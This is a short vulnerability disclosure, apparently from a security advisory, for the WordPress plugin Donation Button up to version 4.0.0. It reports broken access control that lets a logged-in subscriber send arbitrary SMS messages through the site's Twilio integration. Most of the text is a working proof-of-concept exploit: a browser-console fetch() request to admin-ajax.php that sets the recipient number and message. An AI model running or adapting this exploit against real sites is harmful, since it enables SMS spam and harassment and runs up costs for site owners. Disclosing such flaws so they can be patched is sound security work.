Donation Button <= 4.0.0 - Subscriber+ Broken Access Control leading to SMS Spam

Proof of Concept

While logged onto the site as a subscriber, paste the following in your browser's console:

fetch('http://localhost/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=donation_button_twilio_send_test_sms&donation_button_twilio_sms_test_mobile_number=+36205551122&donation_button_twilio_sms_test_message=TEXT'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));